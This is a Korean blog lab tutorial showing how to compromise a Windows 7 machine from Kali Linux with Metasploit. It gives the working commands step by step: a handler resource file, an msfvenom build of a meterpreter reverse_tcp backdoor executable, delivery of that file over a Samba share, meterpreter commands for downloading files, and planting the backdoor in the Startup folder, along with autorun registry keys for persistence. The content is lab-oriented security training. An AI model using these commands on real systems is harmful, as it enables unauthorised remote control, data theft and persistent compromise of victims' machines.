[실습] 메타스플로잇을 사용하여 윈도우즈 시스템 장악(meterpreter를 이용한 Reverse TCP 공격)
이전 실습 중 아래 프로그램을 사용 했었다. (쉘을 통해서 사용하는 방식)
java/shell/bind_tcp
java/shell/reverse_tcp
다음은 shell이 아닌 meterpreter 방식 (명령어를 수행하는 방식, 커넥션이 이루어진 이후 meterpreter수행)
java/meterpreter/bind_tcp
java/meterpreter/reverce_tcp
운영체제의 버전 마다 사용하는 명령어가 각 다르기 때문에 meterpreter에서 해당 운영체제의 명령어로
전환하여 사용할 수 있다.
■ 사용시스템
- KaliLinux
- windows 7
메타스플로잇의 메터프리터(Meterpreter)에 대해서
루비(Ruby) 기반의 스크립트를 통해 취약점을 이용하여 대상 시스템에 침투한 후 간단한 명령어를
이용해 시스템의 정보를 획득할 수 있는 기능이다.
메타스플로잇에서 지원하는 라이브러리를 이용하기 때문에 어떤 방법을 이용해서 정보를 획득할
것인지에 대한 아이디어만 있다면 좋은 기능을 개발할 수 있다.
(전제조건) 메터프리터는 대상 서버에 침투가 이루어졌다는 가정하에 수행되는 것이기 때문에 여러가지 방법
(EX: 톰캣 취약점)이 선행적으로 수행해야 한다.
내 프로그램에 리슨 상태로 동작하는 데몬과 상대 서버에 악성 프로그램이 존재 해야 한다.
리소스(Resource) 파일로 시스템 침투 환경 만들기
취약점을 통해 침투를 통해 환경 만들기
취약점을 통해 침투한 후 백도어(Backdoor, 악성코드)를 통해 환경 만들기
시스템 침투 환경을 만들기 위해 백도어를 이용하여 테스트 환경을 만드는 실습을 진행한다.
① 백도어 만들기(reverse_resource.rc)
msfconsole에서 동작하는 명령어를 미리 입력
(KaliLinux)
# ifconfig | grep inet
inet addr:192.168.10.50 Bcast:192.168.10.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe13:974a/64 Scope:Link inet addr:192.168.20.50 Bcast:192.168.20.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe13:9754/64 Scope:Link inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host |
# mkdir -p /root/bin
# cd /root/bin
# vi reverse_resource.rc
use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.20.50 set ExitSession false <-- 세션을 종료하지 않음 exploit -j -z <- 백그라운드로 실행 |
-> LHOST 부분에는 자신의 IP를 입력한다.
-> (KaliLinux) # msfconsole -r reverse_resource.rc
window7으로 보낼 악성 프로그램 만들기(위 PAYLOAD와 동일해야 한다.)
② 페이로드(Payload)를 사용하여 공격 코드 자동 생성
msfvenom (msfpayload CMD + msfcli CMD)
# find /usr/share/metasploit-framework/ -name "reverse_tcp*" -type f | grep windows
:118 루비언어 기반에 실제 동작하는 부분은 어셈블리언어로 만들어 있다.
위 Payload를 window에서 사용할 수 있게 변환 하는 과정
# msfvenom -p windows/x64/meterpreter/reverse_tcp \ -p payload
LHOST=192.168.20.50 LPORT=4444 \
-f exe \ 포맷방식 windows에서 사용할 수 있는 컴파일로 생성
-o reverse_test.exe
-> LHOST에는 192.168.10.50 공격자의 IP 입력한다.
-> 생성된 reverse_test.ex 파일이 대상 시스템에서 실행하면 공격 시스템은 대상 시스템에 침투한 것과 동일한 환경이 된다.
# ls
# file *
root@kali:~/bin# file * | grep reverse reverse_resource.rc: ASCII text reverse_resource2.rc: ASCII text reverse_test.exe: PE32+ executable (GUI) x86-64, for MS Windows |
③ 대상 시스템(windows7)에 reverse_test.exe 파일을 복사
대상 시스템에 reverse_test.exe 파일을 복사하는 방법으로 samba 서비스 사용
(KaliLinux) samba 서버를 통해 /share 디렉토리를 공유한다.
(windows 7) 공유 디렉토리에 접속한다.(\\192.168.20.50)
(KaliLinux)
# mkdir -p /share
# chmod 777 /share
# cp reverse_test.exe /share
# vi /etc/samba/smb.conf
....
[share]
comment = Kali Linux Shared Directory
path = /share
browseable = yes
read only = no
writable = yes
public = yes
하단에 새로운 내용 입력
데몬 기동
# service smbd restart
# service smbd status
# smbclient -L localhost -N 확인
-> 정보 확인
-> (CentOS) # service smb restart
(KaliLinux) # service smbd restart
서비스 이름 확인
# service --status-all
# chkconfig --list
데몬 서비스 디렉토리 경로/ 영구적으로 서비스 온
(windows7)
공유 디렉토리에 접속하여 파일을 로컬로 복사한다.
\\192.168.20.50\share\resource_test.exe ---> 바탕화면으로 복사
④ 칼리리눅스에서 reverse_resource.rc 파일을 이용하여 listen 상태로 실행
칼리 리눅스가 먼저 기동 되어 있어야한다
(KaliLinux)
# cd /root/bin
# msfconsole -r reverse_resource.rc
⑤ window 7 시스템에서 reverse_test.exe 파일 실행
⑥ 칼리리눅스에서 연결된 세션을 확인하고 windows7의 시작프로그램에 악성 프로그램 등록
(KaliLinux)
KaliLinux에서 메세지 확인
<ENTER>
msf exploit(handler) > sessions -l
msf exploit(handler) > sessions -i 1
사용할 수 있는 커맨드 msf exploit(handler) > help 참조
meterpreter > sysinfo
meterpreter > ipconfig
meterpreter > route
meterpreter > getuid
meterpreter > pwd
meterpreter > lpwd
meterpreter > ls
meterpreter > download -r Security /root/bin
업로드 또한 가능하다.
시작프로그램에 악성 프로그램을 업로드 하여 재부팅시 자동실행 되게 한다.
meterpreter > cd AppData
meterpreter > cd Roaming
meterpreter > cd Microsoft
meterpreter > cd Windows
meterpreter > cd "Start Menu"
meterpreter > cd Programs
meterpreter > cd Startup
meterpreter > cd pwd
C:\Users\soldesk\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
[참고]
Windows XP 경우) C:\Documents and Settings\vb_test\시작 메뉴\프로그램\시작프로그램
Windows Vista 이후 경우) C:\<사용자명>\<사용자명>\AppData\Roaming\Microsoft\Windows \Start Menu\Programs\Startup
meterpreter > upload reverse_test.exe .
meterpreter > reboot
<ENTER>
msf exploit(handler) > quit
***************************************************************************************************************************************
운영체제 실행시 자동 실행되게 하는 방법
-> 시작 프로그램의 폴더 위치 :
C:\Users\soldesk\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
-> 윈도우 재부팅 시에 실행할 프로그램은 다음 중 하나의 레지스터에 등록되어야 된다.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Winodws\Current Version\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Current Version\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Current Version\RunOnce
-> 사용자 로그인시에 실행할 프로그램은 다음 위치에 등록되어야 한다.
(Windows XP 경우) C:\Documents and Settings\vb_test\시작 메뉴\프로그램\시작프로그램
(Windows Vista 이후 경우) C:\<사용자명>\<사용자명>\AppData\Roaming\Microsoft\Windows \Start Menu\Programs\Startup
***************************************************************************************************************************************
'Learning > └◆Metasploit' 카테고리의 다른 글
metasploit 11. 키보드 스니핑과 스크린샷 (0) | 2017.01.05 |
---|---|
metasploit 10. 윈도우 2008 로그 삭제 (0) | 2017.01.05 |
metasploit 08. Tomcat 취약점 (0) | 2017.01.05 |
metasploit 07. HTTrack 툴 사용 (0) | 2017.01.05 |